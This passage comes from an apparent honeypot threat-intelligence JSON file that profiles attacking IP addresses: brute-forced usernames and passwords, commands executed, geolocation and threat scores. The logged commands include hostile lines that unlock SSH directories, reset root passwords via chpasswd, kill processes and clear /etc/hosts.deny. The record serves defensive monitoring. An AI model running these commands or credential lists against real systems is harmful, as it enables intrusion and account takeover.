        "Admin@123",
        "Dev12",
        "Dev123456",
        "Frappe6",
        "Monster85!!$$",
        "Postgres14!",
        "QAZ123!@#",
        "Qazwsx12345$",
        "Qwer123456.",
        "Server31!",
        "ZAQ!2wsx2022!!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"guest2025\\nelDZ7mR9NZ56\\nelDZ7mR9NZ56\\n\"|passwd",
        "echo \"hamza@123\\ntOTDbEb4XNxE\\ntOTDbEb4XNxE\\n\"|passwd",
        "echo \"monitor\\n9vyRXC48EIPP\\n9vyRXC48EIPP\\n\"|passwd",
        "echo \"password123\\nsjn08aJySnu8\\nsjn08aJySnu8\\n\"|passwd",
        "echo -e \"guest2025\\nelDZ7mR9NZ56\\nelDZ7mR9NZ56\"|passwd|bash",
        "echo -e \"hamza@123\\ntOTDbEb4XNxE\\ntOTDbEb4XNxE\"|passwd|bash",
        "echo -e \"monitor\\n9vyRXC48EIPP\\n9vyRXC48EIPP\"|passwd|bash",
        "echo -e \"password123\\nsjn08aJySnu8\\nsjn08aJySnu8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 664,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:14:39.869000+00:00",
        "last_seen_30d": "2026-04-06T19:09:24.934000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 526,
        "Suricata": 138
      }
    },
    "178.16.54.95": {
      "attack_count": 520,
      "first_seen": "2026-04-01T08:51:19.565Z",
      "last_seen": "2026-04-01T11:49:23.137Z",
      "sessions": 103,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator",
        "ansible",
        "apache",
        "backup",
        "centos",
        "debian",
        "docker",
        "ec2-user",
        "elastic",
        "fedora"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "welcome",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "administrator2026",
        "ansible",
        "ansible123",
        "ansible2026",
        "apache",
        "apache123",
        "apache2026",
        "backup"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 757,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T08:51:19.565000+00:00",
        "last_seen_30d": "2026-04-01T11:50:28.485000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 520,
        "Suricata": 237
      }
    },
    "27.79.47.212": {
      "attack_count": 417,
      "first_seen": "2026-04-19T05:32:09.507Z",
      "last_seen": "2026-04-19T06:03:34.093Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "client",
        "cisco",
        "1234",
        "123456",
        "RPM",
        "ace",
        "anton",
        "belkinstyle",
        "bin",
        "brenda",
        "carol",
        "db2inst2",
        "demo",
        "dubai",
        "ftp",
        "ftpuser",
        "george",
        "geral"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "0l0ctyQh243O63uD",
        "123456",
        "admin",
        "039715582364317",
        "1111",
        "112233",
        "123",
        "12345678",
        "123456789",
        "72ca06",
        "?",
        "@",
        "Deadstar!",
        "P@ssw0rd",
        "RPM",
        "abcd1234",
        "ace",
        "admin01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 593,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T05:32:09.507000+00:00",
        "last_seen_30d": "2026-04-19T06:04:40.899000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 417,
        "Suricata": 176
      }
    },
    "193.106.245.20": {
      "attack_count": 399,
      "first_seen": "2026-04-15T16:02:28.372Z",
      "last_seen": "2026-04-15T16:46:03.218Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser2",
        "newftpuser",
        "steam",
        "test12",
        "tester",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11q2w3e4r.",
        "12345",
        "123456",
        "123456wW",
        "123@123Abc",
        "123@root",
        "123qaz",
        "1qazXDR%",
        "AAbb@1234",
        "Abcd123..",
        "Admin!@#456",
        "Admin1$",
        "Test123!@",
        "aaDD123123",
        "azerty",
        "ftpuser2",
        "password",
        "qazwsx11111@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nIR6CX03tCnlr\\nIR6CX03tCnlr\\n\"|passwd",
        "echo \"ftpuser2\\nyfjaX9S3s1uP\\nyfjaX9S3s1uP\\n\"|passwd",
        "echo \"root:5dm00Rqd0oyS\"|chpasswd|bash",
        "echo \"root:xhs1rYo7F8Y0\"|chpasswd|bash",
        "echo -e \"123456\\nIR6CX03tCnlr\\nIR6CX03tCnlr\"|passwd|bash",
        "echo -e \"ftpuser2\\nyfjaX9S3s1uP\\nyfjaX9S3s1uP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 31242,
      "as_org": "Play",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T16:02:28.372000+00:00",
        "last_seen_30d": "2026-04-15T16:47:05.515000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 75
      }
    },
    "163.7.8.79": {
      "attack_count": 398,
      "first_seen": "2026-04-20T16:29:07.885Z",
      "last_seen": "2026-04-20T17:13:09.338Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "ubuntu",
        "user",
        "ftptest",
        "intern",
        "marc",
        "morgan",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "1234",
        "1q2w3e4r5t.",
        "@2025",
        "A123456F",
        "Asdf12345",
        "Ftpuser08",
        "L@y3rh0st2026",
        "P4ssw0rd",
        "P@ssw0rd@1234",
        "Qaz123456789",
        "Qazwsx001!@",
        "Qazwsx1111111!",
        "Reset@123",
        "Root2023@123",
        "ZAQ!2wsx654321..",
        "abcdabcd",
        "asdfgh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:HRAVYNwW6VQh\"|chpasswd|bash",
        "echo \"root:KZ7sFbdo3AUE\"|chpasswd|bash",
        "echo \"root:f1Gtq00dbzQ3\"|chpasswd|bash",
        "echo \"zaq1@WSX\\neqhIEFKXwUE4\\neqhIEFKXwUE4\\n\"|passwd",
        "echo -e \"zaq1@WSX\\neqhIEFKXwUE4\\neqhIEFKXwUE4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T16:29:07.885000+00:00",
        "last_seen_30d": "2026-04-20T17:14:09.577000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 398,
        "Suricata": 75
      }
    },
    "45.117.179.232": {
      "attack_count": 332,
      "first_seen": "2026-04-04T06:28:55.600Z",
      "last_seen": "2026-04-04T07:32:17.071Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "jk",
        "misuser",
        "ubuntu",
        "claude",
        "db2inst1",
        "deploy",
        "deployer",
        "dev",
        "ftp-test",
        "git",
        "myuser",
        "n8n",
        "rico"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "123qwe",
        "124",
        "A1234567890",
        "Aa168168",
        "Abcd@2026",
        "Claude20!",
        "M45uys51!",
        "Steam!@#",
        "XXqq1234",
        "asd123",
        "db2inst1",
        "ftp-test",
        "misuser",
        "n8n31",
        "q1w2e3r4"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\ni8uXwRsQ3iX8\\ni8uXwRsQ3iX8\\n\"|passwd",
        "echo \"Steam!@#\\nmq9NKgpXOS6W\\nmq9NKgpXOS6W\\n\"|passwd",
        "echo \"misuser\\nl2jlVExAwGVE\\nl2jlVExAwGVE\\n\"|passwd",
        "echo -e \"123\\ni8uXwRsQ3iX8\\ni8uXwRsQ3iX8\"|passwd|bash",
        "echo -e \"Steam!@#\\nmq9NKgpXOS6W\\nmq9NKgpXOS6W\"|passwd|bash",
        "echo -e \"misuser\\nl2jlVExAwGVE\\nl2jlVExAwGVE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131353,
      "as_org": "NhanHoa Software company",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 406,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:28:55.600000+00:00",
        "last_seen_30d": "2026-04-04T07:33:22.991000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 74
      }
    },
    "128.1.47.28": {
      "attack_count": 278,
      "first_seen": "2026-04-26T07:42:09.154Z",
      "last_seen": "2026-04-26T08:51:12.234Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "server",
        "admin",
        "deploy",
        "flussonic",
        "op",
        "root/admin",
        "ubuntu",
        "ali",
        "banana",
        "bot",
        "ftptest",
        "jirka",
        "max",
        "postgres",
        "tableau",
        "test",
        "user3",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Aa1234567890",
        "Aa@123456",
        "Admin",
        "Ali30",
        "P@ssw0rd123!",
        "Pa55w0rd",
        "Server01!",
        "Server3",
        "Zaq1@wsx",
        "banana",
        "bot2026!",
        "flussonic",
        "frappe07!",
        "jirka",
        "op",
        "pass1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"flussonic\\n9mPGJZZPRjc5\\n9mPGJZZPRjc5\\n\"|passwd",
        "echo \"op\\nvAy7ddaMPeaU\\nvAy7ddaMPeaU\\n\"|passwd",
        "echo -e \"flussonic\\n9mPGJZZPRjc5\\n9mPGJZZPRjc5\"|passwd|bash",
        "echo -e \"op\\nvAy7ddaMPeaU\\nvAy7ddaMPeaU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 348,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T07:42:09.154000+00:00",
        "last_seen_30d": "2026-04-26T08:52:12.675000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 278,
        "Suricata": 70
      }
    },
    "14.55.144.22": {
      "attack_count": 267,
      "first_seen": "2026-04-23T06:54:22.484Z",
      "last_seen": "2026-04-23T08:21:51.392Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1234",
        "ubuntu",
        "user",
        "frappe",
        "n",
        "odoo",
        "test",
        "testftp1",
        "user03",
        "walter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123P@ssword",
        "123asdZXC",
        "1Qwerty",
        "1qaz3edc",
        "28092026",
        "Admin1234#",
        "Odoo2026!",
        "Qaz!@#123",
        "Qazwsx1#$",
        "Qazwsx11111111#",
        "Qazwsx8888@#",
        "Root11111@",
        "Talent123",
        "Ubuntu03",
        "ZAQ!2wsx2022!@#",
        "a123456zh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin1234\\njPv2QFdNLsZA\\njPv2QFdNLsZA\\n\"|passwd",
        "echo \"root:UMInLKZzlFp7\"|chpasswd|bash",
        "echo -e \"admin1234\\njPv2QFdNLsZA\\njPv2QFdNLsZA\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jeonju-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T06:54:22.484000+00:00",
        "last_seen_30d": "2026-04-23T08:22:52.190000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 74
      }
    },
    "102.23.122.235": {
      "attack_count": 263,
      "first_seen": "2026-04-21T15:55:16.593Z",
      "last_seen": "2026-04-21T16:38:59.432Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "ftpuser",
        "paco",
        "git",
        "mk",
        "msf",
        "odoo",
        "oracle",
        "root2",
        "rtorrent",
        "sadmin",
        "server",
        "test",
        "test_user",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "2024@",
        "4321",
        "CCxx111",
        "Dy123456",
        "P@ssw0rd",
        "P@ssw0rd12",
        "QWER2025",
        "Server02!",
        "Xy@123456",
        "a123456SD",
        "aa123456+",
        "admin1234567890",
        "d3pl0y1234",
        "frappe123",
        "mk",
        "odoo1@",
        "oracle5"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"paco\\nWbjm2yyyLXRo\\nWbjm2yyyLXRo\\n\"|passwd",
        "echo \"password@123\\nmzIdI1X0TIkN\\nmzIdI1X0TIkN\\n\"|passwd",
        "echo -e \"paco\\nWbjm2yyyLXRo\\nWbjm2yyyLXRo\"|passwd|bash",
        "echo -e \"password@123\\nmzIdI1X0TIkN\\nmzIdI1X0TIkN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": null,
      "asn": 328646,
      "as_org": "Infratel-Corporation",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:55:16.593000+00:00",
        "last_seen_30d": "2026-04-21T16:40:03.926000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 64
      }
    },
    "190.184.222.63": {
      "attack_count": 263,
      "first_seen": "2026-04-13T23:37:35.046Z",
      "last_seen": "2026-04-14T00:24:03.213Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "devops",
        "claude",
        "db_user",
        "git",
        "luz",
        "onkar",
        "oracle",
        "plexuser",
        "postgres",
        "test",
        "test01",
        "ubuntu",
        "vikas",
        "vpn",
        "webdeploy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E4r5t6y",
        "123",
        "1q@",
        "7777",
        "Claude30!",
        "Dq@123456",
        "Oracle24",
        "Qazwsx321.",
        "Qwerty2026",
        "aaQQ112233",
        "ab123456",
        "db_user",
        "deploy123456789",
        "devops@2025",
        "luz",
        "onkar123",
        "password123456",
        "plexuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"deploy123456789\\ndO29k046UFPZ\\ndO29k046UFPZ\\n\"|passwd",
        "echo \"devops@2025\\ne9BEqhnBYw1F\\ne9BEqhnBYw1F\\n\"|passwd",
        "echo -e \"deploy123456789\\ndO29k046UFPZ\\ndO29k046UFPZ\"|passwd|bash",
        "echo -e \"devops@2025\\ne9BEqhnBYw1F\\ne9BEqhnBYw1F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "General Pico",
      "asn": 52307,
      "as_org": "CORPICO LTDA",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T23:37:35.046000+00:00",
        "last_seen_30d": "2026-04-14T00:25:12.996000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "110.14.190.217": {
      "attack_count": 262,
      "first_seen": "2026-04-17T02:57:29.306Z",
      "last_seen": "2026-04-17T03:45:51.453Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "steam",
        "admin",
        "agotoz",
        "deploy",
        "elasticsearch",
        "rundeck",
        "student",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*",
        "123456.asd",
        "12345678",
        "1234rewq",
        "123qweasd",
        "GU3ST",
        "Qazwsx0000$",
        "Qazwsx123321!",
        "Qazwsx2025#",
        "Qazwsx999$",
        "Root654321!!",
        "Test2026",
        "Welcome123",
        "ZAQ!2wsx2025#$",
        "a1234567j",
        "admin1..",
        "agotoz",
        "asdfghjkl"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234rewq\\nYh2MKpANeZs1\\nYh2MKpANeZs1\\n\"|passwd",
        "echo \"root:MqbkmELhYqt3\"|chpasswd|bash",
        "echo -e \"1234rewq\\nYh2MKpANeZs1\\nYh2MKpANeZs1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
